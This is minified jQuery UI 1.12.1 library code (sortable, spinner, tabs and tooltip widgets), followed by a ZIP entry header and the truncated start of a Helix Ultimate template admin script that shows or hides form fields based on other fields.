i,s,n=this.options,o=e.pageX,a=e.pageY,r="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&t.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,h=/(html|body)/i.test(r[0].tagName);return"relative"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&this.scrollParent[0]!==this.offsetParent[0]||(this.offset.relative=this._getRelativeOffset()),this.originalPosition&&(this.containment&&(e.pageX-this.offset.click.left<this.containment[0]&&(o=this.containment[0]+this.offset.click.left),e.pageY-this.offset.click.top<this.containment[1]&&(a=this.containment[1]+this.offset.click.top),e.pageX-this.offset.click.left>this.containment[2]&&(o=this.containment[2]+this.offset.click.left),e.pageY-this.offset.click.top>this.containment[3]&&(a=this.containment[3]+this.offset.click.top)),n.grid&&(i=this.originalPageY+Math.round((a-this.originalPageY)/n.grid[1])*n.grid[1],a=this.containment?i-this.offset.click.top>=this.containment[1]&&i-this.offset.click.top<=this.containment[3]?i:i-this.offset.click.top>=this.containment[1]?i-n.grid[1]:i+n.grid[1]:i,s=this.originalPageX+Math.round((o-this.originalPageX)/n.grid[0])*n.grid[0],o=this.containment?s-this.offset.click.left>=this.containment[0]&&s-this.offset.click.left<=this.containment[2]?s:s-this.offset.click.left>=this.containment[0]?s-n.grid[0]:s+n.grid[0]:s)),{top:a-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():h?0:r.scrollTop()),left:o-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():h?0:r.scrollLeft())}},_rearrange:function(t,e,i,s){i?i[0].appendChild(this.placeholder[0]):e.item[0].parentNode.insertBefore(this.placeholder[0],"down"===this.direction?e.item[0]:e.item[0].nextSibling),this.counter=this.counter?++this.counter:1;var n=this.counter;
this._delay(function(){n===this.counter&&this.refreshPositions(!s)})},_clear:function(t,e){function i(t,e,i){return function(s){i._trigger(t,s,e._uiHash(e))}}this.reverting=!1;var s,n=[];if(!this._noFinalSort&&this.currentItem.parent().length&&this.placeholder.before(this.currentItem),this._noFinalSort=null,this.helper[0]===this.currentItem[0]){for(s in this._storedCSS)("auto"===this._storedCSS[s]||"static"===this._storedCSS[s])&&(this._storedCSS[s]="");this.currentItem.css(this._storedCSS),this._removeClass(this.currentItem,"ui-sortable-helper")}else this.currentItem.show();for(this.fromOutside&&!e&&n.push(function(t){this._trigger("receive",t,this._uiHash(this.fromOutside))}),!this.fromOutside&&this.domPosition.prev===this.currentItem.prev().not(".ui-sortable-helper")[0]&&this.domPosition.parent===this.currentItem.parent()[0]||e||n.push(function(t){this._trigger("update",t,this._uiHash())}),this!==this.currentContainer&&(e||(n.push(function(t){this._trigger("remove",t,this._uiHash())}),n.push(function(t){return function(e){t._trigger("receive",e,this._uiHash(this))}}.call(this,this.currentContainer)),n.push(function(t){return function(e){t._trigger("update",e,this._uiHash(this))}}.call(this,this.currentContainer)))),s=this.containers.length-1;s>=0;s--)e||n.push(i("deactivate",this,this.containers[s])),this.containers[s].containerCache.over&&(n.push(i("out",this,this.containers[s])),this.containers[s].containerCache.over=0);if(this.storedCursor&&(this.document.find("body").css("cursor",this.storedCursor),this.storedStylesheet.remove()),this._storedOpacity&&this.helper.css("opacity",this._storedOpacity),this._storedZIndex&&this.helper.css("zIndex","auto"===this._storedZIndex?"":this._storedZIndex),this.dragging=!1,e||this._trigger("beforeStop",t,this._uiHash()),this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.cancelHelperRemoval||(this.helper[0]!==this.currentItem[0]&&this.helper.remove(),this.helper=null),!e){for(s=0;n.length>s;s++)n[s].call(this,t);this._trigger("stop",t,this._uiHash())}return this.fromOutside=!1,!this.cancelHelperRemoval},_trigger:function(){t.Widget.prototype._trigger.apply(this,arguments)===!1&&this.cancel()},_uiHash:function(e){var i=e||this;return{helper:i.helper,placeholder:i.placeholder||t([]),position:i.position,originalPosition:i.originalPosition,offset:i.positionAbs,item:i.currentItem,sender:e?e.element:null}}}),t.widget("ui.spinner",{version:"1.12.1",defaultElement:"<input>",widgetEventPrefix:"spin",options:{classes:{"ui-spinner":"ui-corner-all","ui-spinner-down":"ui-corner-br","ui-spinner-up":"ui-corner-tr"},culture:null,icons:{down:"ui-icon-triangle-1-s",up:"ui-icon-triangle-1-n"},incremental:!0,max:null,min:null,numberFormat:null,page:10,step:1,change:null,spin:null,start:null,stop:null},_create:function(){this._setOption("max",this.options.max),this._setOption("min",this.options.min),this._setOption("step",this.options.step),""!==this.value()&&this._value(this.element.val(),!0),this._draw(),this._on(this._events),this._refresh(),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_getCreateOptions:function(){var e=this._super(),i=this.element;return t.each(["min","max","step"],function(t,s){var n=i.attr(s);null!=n&&n.length&&(e[s]=n)}),e},_events:{keydown:function(t){this._start(t)&&this._keydown(t)&&t.preventDefault()},keyup:"_stop",focus:function(){this.previous=this.element.val()},blur:function(t){return this.cancelBlur?(delete this.cancelBlur,void 0):(this._stop(),this._refresh(),this.previous!==this.element.val()&&this._trigger("change",t),void 0)},mousewheel:function(t,e){if(e){if(!this.spinning&&!this._start(t))return!1;this._spin((e>0?1:-1)*this.options.step,t),clearTimeout(this.mousewheelTimer),this.mousewheelTimer=this._delay(function(){this.spinning&&this._stop(t)},100),t.preventDefault()}},"mousedown .ui-spinner-button":function(e){function i(){var e=this.element[0]===t.ui.safeActiveElement(this.document[0]);e||(this.element.trigger("focus"),this.previous=s,this._delay(function(){this.previous=s}))}var s;s=this.element[0]===t.ui.safeActiveElement(this.document[0])?this.previous:this.element.val(),e.preventDefault(),i.call(this),this.cancelBlur=!0,this._delay(function(){delete this.cancelBlur,i.call(this)}),this._start(e)!==!1&&this._repeat(null,t(e.currentTarget).hasClass("ui-spinner-up")?1:-1,e)},"mouseup .ui-spinner-button":"_stop","mouseenter .ui-spinner-button":function(e){return t(e.currentTarget).hasClass("ui-state-active")?this._start(e)===!1?!1:(this._repeat(null,t(e.currentTarget).hasClass("ui-spinner-up")?1:-1,e),void 0):void 0},"mouseleave .ui-spinner-button":"_stop"},_enhance:function(){this.uiSpinner=this.element.attr("autocomplete","off").wrap("<span>").parent().append("<a></a><a></a>")},_draw:function(){this._enhance(),this._addClass(this.uiSpinner,"ui-spinner","ui-widget ui-widget-content"),this._addClass("ui-spinner-input"),this.element.attr("role","spinbutton"),this.buttons=this.uiSpinner.children("a").attr("tabIndex",-1).attr("aria-hidden",!0).button({classes:{"ui-button":""}}),this._removeClass(this.buttons,"ui-corner-all"),this._addClass(this.buttons.first(),"ui-spinner-button ui-spinner-up"),this._addClass(this.buttons.last(),"ui-spinner-button ui-spinner-down"),this.buttons.first().button({icon:this.options.icons.up,showLabel:!1}),this.buttons.last().button({icon:this.options.icons.down,showLabel:!1}),this.buttons.height()>Math.ceil(.5*this.uiSpinner.height())&&this.uiSpinner.height()>0&&this.uiSpinner.height(this.uiSpinner.height())},_keydown:function(e){var i=this.options,s=t.ui.keyCode;switch(e.keyCode){case s.UP:return this._repeat(null,1,e),!0;case s.DOWN:return this._repeat(null,-1,e),!0;case s.PAGE_UP:return this._repeat(null,i.page,e),!0;case s.PAGE_DOWN:return this._repeat(null,-i.page,e),!0}return!1},_start:function(t){return this.spinning||this._trigger("start",t)!==!1?(this.counter||(this.counter=1),this.spinning=!0,!0):!1},_repeat:function(t,e,i){t=t||500,clearTimeout(this.timer),this.timer=this._delay(function(){this._repeat(40,e,i)},t),this._spin(e*this.options.step,i)},_spin:function(t,e){var i=this.value()||0;this.counter||(this.counter=1),i=this._adjustValue(i+t*this._increment(this.counter)),this.spinning&&this._trigger("spin",e,{value:i})===!1||(this._value(i),this.counter++)},_increment:function(e){var i=this.options.incremental;return i?t.isFunction(i)?i(e):Math.floor(e*e*e/5e4-e*e/500+17*e/200+1):1},_precision:function(){var t=this._precisionOf(this.options.step);return null!==this.options.min&&(t=Math.max(t,this._precisionOf(this.options.min))),t},_precisionOf:function(t){var e=""+t,i=e.indexOf(".");return-1===i?0:e.length-i-1},_adjustValue:function(t){var e,i,s=this.options;return e=null!==s.min?s.min:0,i=t-e,i=Math.round(i/s.step)*s.step,t=e+i,t=parseFloat(t.toFixed(this._precision())),null!==s.max&&t>s.max?s.max:null!==s.min&&s.min>t?s.min:t},_stop:function(t){this.spinning&&(clearTimeout(this.timer),clearTimeout(this.mousewheelTimer),this.counter=0,this.spinning=!1,this._trigger("stop",t))},_setOption:function(t,e){var i,s,n;return"culture"===t||"numberFormat"===t?(i=this._parse(this.element.val()),this.options[t]=e,this.element.val(this._format(i)),void 0):(("max"===t||"min"===t||"step"===t)&&"string"==typeof e&&(e=this._parse(e)),"icons"===t&&(s=this.buttons.first().find(".ui-icon"),this._removeClass(s,null,this.options.icons.up),this._addClass(s,null,e.up),n=this.buttons.last().find(".ui-icon"),this._removeClass(n,null,this.options.icons.down),this._addClass(n,null,e.down)),this._super(t,e),void 0)},_setOptionDisabled:function(t){this._super(t),this._toggleClass(this.uiSpinner,null,"ui-state-disabled",!!t),this.element.prop("disabled",!!t),this.buttons.button(t?"disable":"enable")},_setOptions:r(function(t){this._super(t)}),_parse:function(t){return"string"==typeof t&&""!==t&&(t=window.Globalize&&this.options.numberFormat?Globalize.parseFloat(t,10,this.options.culture):+t),""===t||isNaN(t)?null:t},_format:function(t){return""===t?"":window.Globalize&&this.options.numberFormat?Globalize.format(t,this.options.numberFormat,this.options.culture):t},_refresh:function(){this.element.attr({"aria-valuemin":this.options.min,"aria-valuemax":this.options.max,"aria-valuenow":this._parse(this.element.val())})},isValid:function(){var t=this.value();return null===t?!1:t===this._adjustValue(t)},_value:function(t,e){var i;""!==t&&(i=this._parse(t),null!==i&&(e||(i=this._adjustValue(i)),t=this._format(i))),this.element.val(t),this._refresh()},_destroy:function(){this.element.prop("disabled",!1).removeAttr("autocomplete role aria-valuemin aria-valuemax aria-valuenow"),this.uiSpinner.replaceWith(this.element)},stepUp:r(function(t){this._stepUp(t)}),_stepUp:function(t){this._start()&&(this._spin((t||1)*this.options.step),this._stop())},stepDown:r(function(t){this._stepDown(t)}),_stepDown:function(t){this._start()&&(this._spin((t||1)*-this.options.step),this._stop())},pageUp:r(function(t){this._stepUp((t||1)*this.options.page)}),pageDown:r(function(t){this._stepDown((t||1)*this.options.page)}),value:function(t){return arguments.length?(r(this._value).call(this,t),void 0):this._parse(this.element.val())},widget:function(){return this.uiSpinner}}),t.uiBackCompat!==!1&&t.widget("ui.spinner",t.ui.spinner,{_enhance:function(){this.uiSpinner=this.element.attr("autocomplete","off").wrap(this._uiSpinnerHtml()).parent().append(this._buttonHtml())},_uiSpinnerHtml:function(){return"<span>"},_buttonHtml:function(){return"<a></a><a></a>"}}),t.ui.spinner,t.widget("ui.tabs",{version:"1.12.1",delay:300,options:{active:null,classes:{"ui-tabs":"ui-corner-all","ui-tabs-nav":"ui-corner-all","ui-tabs-panel":"ui-corner-bottom","ui-tabs-tab":"ui-corner-top"},collapsible:!1,event:"click",heightStyle:"content",hide:null,show:null,activate:null,beforeActivate:null,beforeLoad:null,load:null},_isLocal:function(){var t=/#.*$/;return function(e){var i,s;i=e.href.replace(t,""),s=location.href.replace(t,"");try{i=decodeURIComponent(i)}catch(n){}try{s=decodeURIComponent(s)}catch(n){}return e.hash.length>1&&i===s}}(),_create:function(){var e=this,i=this.options;this.running=!1,this._addClass("ui-tabs","ui-widget ui-widget-content"),this._toggleClass("ui-tabs-collapsible",null,i.collapsible),this._processTabs(),i.active=this._initialActive(),t.isArray(i.disabled)&&(i.disabled=t.unique(i.disabled.concat(t.map(this.tabs.filter(".ui-state-disabled"),function(t){return e.tabs.index(t)}))).sort()),this.active=this.options.active!==!1&&this.anchors.length?this._findActive(i.active):t(),this._refresh(),this.active.length&&this.load(i.active)},_initialActive:function(){var e=this.options.active,i=this.options.collapsible,s=location.hash.substring(1);return null===e&&(s&&this.tabs.each(function(i,n){return t(n).attr("aria-controls")===s?(e=i,!1):void 0}),null===e&&(e=this.tabs.index(this.tabs.filter(".ui-tabs-active"))),(null===e||-1===e)&&(e=this.tabs.length?0:!1)),e!==!1&&(e=this.tabs.index(this.tabs.eq(e)),-1===e&&(e=i?!1:0)),!i&&e===!1&&this.anchors.length&&(e=0),e},_getCreateEventData:function(){return{tab:this.active,panel:this.active.length?this._getPanelForTab(this.active):t()}},_tabKeydown:function(e){var i=t(t.ui.safeActiveElement(this.document[0])).closest("li"),s=this.tabs.index(i),n=!0;if(!this._handlePageNav(e)){switch(e.keyCode){case t.ui.keyCode.RIGHT:case t.ui.keyCode.DOWN:s++;break;case t.ui.keyCode.UP:case t.ui.keyCode.LEFT:n=!1,s--;break;case t.ui.keyCode.END:s=this.anchors.length-1;break;case t.ui.keyCode.HOME:s=0;break;case t.ui.keyCode.SPACE:return e.preventDefault(),clearTimeout(this.activating),this._activate(s),void 0;case t.ui.keyCode.ENTER:return e.preventDefault(),clearTimeout(this.activating),this._activate(s===this.options.active?!1:s),void 0;default:return}e.preventDefault(),clearTimeout(this.activating),s=this._focusNextTab(s,n),e.ctrlKey||e.metaKey||(i.attr("aria-selected","false"),this.tabs.eq(s).attr("aria-selected","true"),this.activating=this._delay(function(){this.option("active",s)},this.delay))}},_panelKeydown:function(e){this._handlePageNav(e)||e.ctrlKey&&e.keyCode===t.ui.keyCode.UP&&(e.preventDefault(),this.active.trigger("focus"))},_handlePageNav:function(e){return e.altKey&&e.keyCode===t.ui.keyCode.PAGE_UP?(this._activate(this._focusNextTab(this.options.active-1,!1)),!0):e.altKey&&e.keyCode===t.ui.keyCode.PAGE_DOWN?(this._activate(this._focusNextTab(this.options.active+1,!0)),!0):void 0},_findNextTab:function(e,i){function s(){return e>n&&(e=0),0>e&&(e=n),e}for(var n=this.tabs.length-1;-1!==t.inArray(s(),this.options.disabled);)e=i?e+1:e-1;return e},_focusNextTab:function(t,e){return t=this._findNextTab(t,e),this.tabs.eq(t).trigger("focus"),t},_setOption:function(t,e){return"active"===t?(this._activate(e),void 0):(this._super(t,e),"collapsible"===t&&(this._toggleClass("ui-tabs-collapsible",null,e),e||this.options.active!==!1||this._activate(0)),"event"===t&&this._setupEvents(e),"heightStyle"===t&&this._setupHeightStyle(e),void 0)},_sanitizeSelector:function(t){return t?t.replace(/[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g,"\\$&"):""},refresh:function(){var e=this.options,i=this.tablist.children(":has(a[href])");e.disabled=t.map(i.filter(".ui-state-disabled"),function(t){return i.index(t)}),this._processTabs(),e.active!==!1&&this.anchors.length?this.active.length&&!t.contains(this.tablist[0],this.active[0])?this.tabs.length===e.disabled.length?(e.active=!1,this.active=t()):this._activate(this._findNextTab(Math.max(0,e.active-1),!1)):e.active=this.tabs.index(this.active):(e.active=!1,this.active=t()),this._refresh()},_refresh:function(){this._setOptionDisabled(this.options.disabled),this._setupEvents(this.options.event),this._setupHeightStyle(this.options.heightStyle),this.tabs.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1}),this.panels.not(this._getPanelForTab(this.active)).hide().attr({"aria-hidden":"true"}),this.active.length?(this.active.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}),this._addClass(this.active,"ui-tabs-active","ui-state-active"),this._getPanelForTab(this.active).show().attr({"aria-hidden":"false"})):this.tabs.eq(0).attr("tabIndex",0)},_processTabs:function(){var e=this,i=this.tabs,s=this.anchors,n=this.panels;this.tablist=this._getList().attr("role","tablist"),this._addClass(this.tablist,"ui-tabs-nav","ui-helper-reset ui-helper-clearfix ui-widget-header"),this.tablist.on("mousedown"+this.eventNamespace,"> li",function(e){t(this).is(".ui-state-disabled")&&e.preventDefault()}).on("focus"+this.eventNamespace,".ui-tabs-anchor",function(){t(this).closest("li").is(".ui-state-disabled")&&this.blur()}),this.tabs=this.tablist.find("> li:has(a[href])").attr({role:"tab",tabIndex:-1}),this._addClass(this.tabs,"ui-tabs-tab","ui-state-default"),this.anchors=this.tabs.map(function(){return t("a",this)[0]}).attr({role:"presentation",tabIndex:-1}),this._addClass(this.anchors,"ui-tabs-anchor"),this.panels=t(),this.anchors.each(function(i,s){var n,o,a,r=t(s).uniqueId().attr("id"),h=t(s).closest("li"),l=h.attr("aria-controls");e._isLocal(s)?(n=s.hash,a=n.substring(1),o=e.element.find(e._sanitizeSelector(n))):(a=h.attr("aria-controls")||t({}).uniqueId()[0].id,n="#"+a,o=e.element.find(n),o.length||(o=e._createPanel(a),o.insertAfter(e.panels[i-1]||e.tablist)),o.attr("aria-live","polite")),o.length&&(e.panels=e.panels.add(o)),l&&h.data("ui-tabs-aria-controls",l),h.attr({"aria-controls":a,"aria-labelledby":r}),o.attr("aria-labelledby",r)}),this.panels.attr("role","tabpanel"),this._addClass(this.panels,"ui-tabs-panel","ui-widget-content"),i&&(this._off(i.not(this.tabs)),this._off(s.not(this.anchors)),this._off(n.not(this.panels)))},_getList:function(){return this.tablist||this.element.find("ol, ul").eq(0)},_createPanel:function(e){return t("<div>").attr("id",e).data("ui-tabs-destroy",!0)},_setOptionDisabled:function(e){var i,s,n;for(t.isArray(e)&&(e.length?e.length===this.anchors.length&&(e=!0):e=!1),n=0;s=this.tabs[n];n++)i=t(s),e===!0||-1!==t.inArray(n,e)?(i.attr("aria-disabled","true"),this._addClass(i,null,"ui-state-disabled")):(i.removeAttr("aria-disabled"),this._removeClass(i,null,"ui-state-disabled"));this.options.disabled=e,this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,e===!0)},_setupEvents:function(e){var i={};e&&t.each(e.split(" "),function(t,e){i[e]="_eventHandler"}),this._off(this.anchors.add(this.tabs).add(this.panels)),this._on(!0,this.anchors,{click:function(t){t.preventDefault()}}),this._on(this.anchors,i),this._on(this.tabs,{keydown:"_tabKeydown"}),this._on(this.panels,{keydown:"_panelKeydown"}),this._focusable(this.tabs),this._hoverable(this.tabs)},_setupHeightStyle:function(e){var i,s=this.element.parent();"fill"===e?(i=s.height(),i-=this.element.outerHeight()-this.element.height(),this.element.siblings(":visible").each(function(){var e=t(this),s=e.css("position");"absolute"!==s&&"fixed"!==s&&(i-=e.outerHeight(!0))}),this.element.children().not(this.panels).each(function(){i-=t(this).outerHeight(!0)}),this.panels.each(function(){t(this).height(Math.max(0,i-t(this).innerHeight()+t(this).height()))}).css("overflow","auto")):"auto"===e&&(i=0,this.panels.each(function(){i=Math.max(i,t(this).height("").height())}).height(i))},_eventHandler:function(e){var i=this.options,s=this.active,n=t(e.currentTarget),o=n.closest("li"),a=o[0]===s[0],r=a&&i.collapsible,h=r?t():this._getPanelForTab(o),l=s.length?this._getPanelForTab(s):t(),c={oldTab:s,oldPanel:l,newTab:r?t():o,newPanel:h};e.preventDefault(),o.hasClass("ui-state-disabled")||o.hasClass("ui-tabs-loading")||this.running||a&&!i.collapsible||this._trigger("beforeActivate",e,c)===!1||(i.active=r?!1:this.tabs.index(o),this.active=a?t():o,this.xhr&&this.xhr.abort(),l.length||h.length||t.error("jQuery UI Tabs: Mismatching fragment identifier."),h.length&&this.load(this.tabs.index(o),e),this._toggle(e,c))},_toggle:function(e,i){function s(){o.running=!1,o._trigger("activate",e,i)}function n(){o._addClass(i.newTab.closest("li"),"ui-tabs-active","ui-state-active"),a.length&&o.options.show?o._show(a,o.options.show,s):(a.show(),s())}var o=this,a=i.newPanel,r=i.oldPanel;this.running=!0,r.length&&this.options.hide?this._hide(r,this.options.hide,function(){o._removeClass(i.oldTab.closest("li"),"ui-tabs-active","ui-state-active"),n()}):(this._removeClass(i.oldTab.closest("li"),"ui-tabs-active","ui-state-active"),r.hide(),n()),r.attr("aria-hidden","true"),i.oldTab.attr({"aria-selected":"false","aria-expanded":"false"}),a.length&&r.length?i.oldTab.attr("tabIndex",-1):a.length&&this.tabs.filter(function(){return 0===t(this).attr("tabIndex")}).attr("tabIndex",-1),a.attr("aria-hidden","false"),i.newTab.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0})},_activate:function(e){var i,s=this._findActive(e);s[0]!==this.active[0]&&(s.length||(s=this.active),i=s.find(".ui-tabs-anchor")[0],this._eventHandler({target:i,currentTarget:i,preventDefault:t.noop}))},_findActive:function(e){return e===!1?t():this.tabs.eq(e)},_getIndex:function(e){return"string"==typeof e&&(e=this.anchors.index(this.anchors.filter("[href$='"+t.ui.escapeSelector(e)+"']"))),e},_destroy:function(){this.xhr&&this.xhr.abort(),this.tablist.removeAttr("role").off(this.eventNamespace),this.anchors.removeAttr("role tabIndex").removeUniqueId(),this.tabs.add(this.panels).each(function(){t.data(this,"ui-tabs-destroy")?t(this).remove():t(this).removeAttr("role tabIndex aria-live aria-busy aria-selected aria-labelledby aria-hidden aria-expanded")}),this.tabs.each(function(){var e=t(this),i=e.data("ui-tabs-aria-controls");i?e.attr("aria-controls",i).removeData("ui-tabs-aria-controls"):e.removeAttr("aria-controls")}),this.panels.show(),"content"!==this.options.heightStyle&&this.panels.css("height","")},enable:function(e){var i=this.options.disabled;i!==!1&&(void 0===e?i=!1:(e=this._getIndex(e),i=t.isArray(i)?t.map(i,function(t){return t!==e?t:null}):t.map(this.tabs,function(t,i){return i!==e?i:null})),this._setOptionDisabled(i))},disable:function(e){var i=this.options.disabled;if(i!==!0){if(void 0===e)i=!0;else{if(e=this._getIndex(e),-1!==t.inArray(e,i))return;i=t.isArray(i)?t.merge([e],i).sort():[e]}this._setOptionDisabled(i)}},load:function(e,i){e=this._getIndex(e);var s=this,n=this.tabs.eq(e),o=n.find(".ui-tabs-anchor"),a=this._getPanelForTab(n),r={tab:n,panel:a},h=function(t,e){"abort"===e&&s.panels.stop(!1,!0),s._removeClass(n,"ui-tabs-loading"),a.removeAttr("aria-busy"),t===s.xhr&&delete s.xhr};this._isLocal(o[0])||(this.xhr=t.ajax(this._ajaxSettings(o,i,r)),this.xhr&&"canceled"!==this.xhr.statusText&&(this._addClass(n,"ui-tabs-loading"),a.attr("aria-busy","true"),this.xhr.done(function(t,e,n){setTimeout(function(){a.html(t),s._trigger("load",i,r),h(n,e)},1)}).fail(function(t,e){setTimeout(function(){h(t,e)},1)})))},_ajaxSettings:function(e,i,s){var n=this;return{url:e.attr("href").replace(/#.*$/,""),beforeSend:function(e,o){return n._trigger("beforeLoad",i,t.extend({jqXHR:e,ajaxSettings:o},s))}}},_getPanelForTab:function(e){var i=t(e).attr("aria-controls");return this.element.find(this._sanitizeSelector("#"+i))}}),t.uiBackCompat!==!1&&t.widget("ui.tabs",t.ui.tabs,{_processTabs:function(){this._superApply(arguments),this._addClass(this.tabs,"ui-tab")}}),t.ui.tabs,t.widget("ui.tooltip",{version:"1.12.1",options:{classes:{"ui-tooltip":"ui-corner-all ui-widget-shadow"},content:function(){var e=t(this).attr("title")||"";return t("<a>").text(e).html()},hide:!0,items:"[title]:not([disabled])",position:{my:"left top+15",at:"left bottom",collision:"flipfit flip"},show:!0,track:!1,close:null,open:null},_addDescribedBy:function(e,i){var s=(e.attr("aria-describedby")||"").split(/\s+/);s.push(i),e.data("ui-tooltip-id",i).attr("aria-describedby",t.trim(s.join(" ")))},_removeDescribedBy:function(e){var i=e.data("ui-tooltip-id"),s=(e.attr("aria-describedby")||"").split(/\s+/),n=t.inArray(i,s);-1!==n&&s.splice(n,1),e.removeData("ui-tooltip-id"),s=t.trim(s.join(" ")),s?e.attr("aria-describedby",s):e.removeAttr("aria-describedby")},_create:function(){this._on({mouseover:"open",focusin:"open"}),this.tooltips={},this.parents={},this.liveRegion=t("<div>").attr({role:"log","aria-live":"assertive","aria-relevant":"additions"}).appendTo(this.document[0].body),this._addClass(this.liveRegion,null,"ui-helper-hidden-accessible"),this.disabledTitles=t([])},_setOption:function(e,i){var s=this;this._super(e,i),"content"===e&&t.each(this.tooltips,function(t,e){s._updateContent(e.element)})},_setOptionDisabled:function(t){this[t?"_disable":"_enable"]()},_disable:function(){var e=this;t.each(this.tooltips,function(i,s){var n=t.Event("blur");n.target=n.currentTarget=s.element[0],e.close(n,!0)}),this.disabledTitles=this.disabledTitles.add(this.element.find(this.options.items).addBack().filter(function(){var e=t(this);return e.is("[title]")?e.data("ui-tooltip-title",e.attr("title")).removeAttr("title"):void 0}))},_enable:function(){this.disabledTitles.each(function(){var e=t(this);e.data("ui-tooltip-title")&&e.attr("title",e.data("ui-tooltip-title"))}),this.disabledTitles=t([])},open:function(e){var i=this,s=t(e?e.target:this.element).closest(this.options.items);s.length&&!s.data("ui-tooltip-id")&&(s.attr("title")&&s.data("ui-tooltip-title",s.attr("title")),s.data("ui-tooltip-open",!0),e&&"mouseover"===e.type&&s.parents().each(function(){var e,s=t(this);s.data("ui-tooltip-open")&&(e=t.Event("blur"),e.target=e.currentTarget=this,i.close(e,!0)),s.attr("title")&&(s.uniqueId(),i.parents[this.id]={element:this,title:s.attr("title")},s.attr("title",""))}),this._registerCloseHandlers(e,s),this._updateContent(s,e))},_updateContent:function(t,e){var i,s=this.options.content,n=this,o=e?e.type:null;return"string"==typeof s||s.nodeType||s.jquery?this._open(e,t,s):(i=s.call(t[0],function(i){n._delay(function(){t.data("ui-tooltip-open")&&(e&&(e.type=o),this._open(e,t,i))})}),i&&this._open(e,t,i),void 0)},_open:function(e,i,s){function n(t){l.of=t,a.is(":hidden")||a.position(l)}var o,a,r,h,l=t.extend({},this.options.position);if(s){if(o=this._find(i))return o.tooltip.find(".ui-tooltip-content").html(s),void 0;i.is("[title]")&&(e&&"mouseover"===e.type?i.attr("title",""):i.removeAttr("title")),o=this._tooltip(i),a=o.tooltip,this._addDescribedBy(i,a.attr("id")),a.find(".ui-tooltip-content").html(s),this.liveRegion.children().hide(),h=t("<div>").html(a.find(".ui-tooltip-content").html()),h.removeAttr("name").find("[name]").removeAttr("name"),h.removeAttr("id").find("[id]").removeAttr("id"),h.appendTo(this.liveRegion),this.options.track&&e&&/^mouse/.test(e.type)?(this._on(this.document,{mousemove:n}),n(e)):a.position(t.extend({of:i},this.options.position)),a.hide(),this._show(a,this.options.show),this.options.track&&this.options.show&&this.options.show.delay&&(r=this.delayedShow=setInterval(function(){a.is(":visible")&&(n(l.of),clearInterval(r))},t.fx.interval)),this._trigger("open",e,{tooltip:a})}},_registerCloseHandlers:function(e,i){var s={keyup:function(e){if(e.keyCode===t.ui.keyCode.ESCAPE){var s=t.Event(e);s.currentTarget=i[0],this.close(s,!0)}}};i[0]!==this.element[0]&&(s.remove=function(){this._removeTooltip(this._find(i).tooltip)}),e&&"mouseover"!==e.type||(s.mouseleave="close"),e&&"focusin"!==e.type||(s.focusout="close"),this._on(!0,i,s)},close:function(e){var i,s=this,n=t(e?e.currentTarget:this.element),o=this._find(n);return o?(i=o.tooltip,o.closing||(clearInterval(this.delayedShow),n.data("ui-tooltip-title")&&!n.attr("title")&&n.attr("title",n.data("ui-tooltip-title")),this._removeDescribedBy(n),o.hiding=!0,i.stop(!0),this._hide(i,this.options.hide,function(){s._removeTooltip(t(this))}),n.removeData("ui-tooltip-open"),this._off(n,"mouseleave focusout keyup"),n[0]!==this.element[0]&&this._off(n,"remove"),this._off(this.document,"mousemove"),e&&"mouseleave"===e.type&&t.each(this.parents,function(e,i){t(i.element).attr("title",i.title),delete s.parents[e]}),o.closing=!0,this._trigger("close",e,{tooltip:i}),o.hiding||(o.closing=!1)),void 0):(n.removeData("ui-tooltip-open"),void 0)},_tooltip:function(e){var i=t("<div>").attr("role","tooltip"),s=t("<div>").appendTo(i),n=i.uniqueId().attr("id");return this._addClass(s,"ui-tooltip-content"),this._addClass(i,"ui-tooltip","ui-widget ui-widget-content"),i.appendTo(this._appendTo(e)),this.tooltips[n]={element:e,tooltip:i}},_find:function(t){var e=t.data("ui-tooltip-id");return e?this.tooltips[e]:null},_removeTooltip:function(t){t.remove(),delete this.tooltips[t.attr("id")]},_appendTo:function(t){var e=t.closest(".ui-front, dialog");return e.length||(e=this.document[0].body),e},_destroy:function(){var e=this;t.each(this.tooltips,function(i,s){var n=t.Event("blur"),o=s.element;n.target=n.currentTarget=o[0],e.close(n,!0),t("#"+i).remove(),o.data("ui-tooltip-title")&&(o.attr("title")||o.attr("title",o.data("ui-tooltip-title")),o.removeData("ui-tooltip-title"))}),this.liveRegion.remove()}}),t.uiBackCompat!==!1&&t.widget("ui.tooltip",t.ui.tooltip,{options:{tooltipClass:null},_tooltip:function(){var t=this._superApply(arguments);return this.options.tooltipClass&&t.tooltip.addClass(this.options.tooltipClass),t}}),t.ui.tooltip});PK!�����'helixultimate/assets/js/admin/fields.jsnu&1i�jQuery((function(e){function t(t,n,i){for(var a,l,o,h,c=!0,s=t.data("revealon")||[],r=0,u=s.length;r<u;r++)o=(l=s[r]||{}).field,h=i.find('[name="'+o+'"], [name="'+o+'[]"]'),l.valid=0,h.each((function(){var t=e(this);for(var n in-1!==["checkbox","radio"].indexOf(t.attr("type"))?a=(t.prop("checked")>>0).toString():null==(a=t.val())&&"select"==t.prop("tagName").toLowerCase()&&(a=[]),"object"!=typeof a&&(a=JSON.parse('["'+a+'"]')),a)a.propertyIsEnumerable(n)&&("="==s[r].sign&&-1!==s[r].values.indexOf(a[n])&&(s[r].valid=1),"!="==s[r].sign&&-1===s[r].values.indexOf(a[n])&&(s[r].valid=1))})),""===l.op?0===l.valid&&(c=!1):("AND"===l.op&&l.valid+s[r-1].valid<2&&(c=!1,l.valid=0),"OR"===l.op&&l.valid+s[r-1].valid>0&&(c=!0,l.valid=1));if(t.is("option")){t.toggle(c),t.attr("disabled",!c);var d=t.parent();e("#"+d.attr("id")+"_chzn").length&&(d.trigger("liszt:updated"),d.trigger("chosen:updated"))}(n=n&&!t.hasClass("no-animation")&&!t.hasClass("no-animate")&&!t.find(".no-animation, 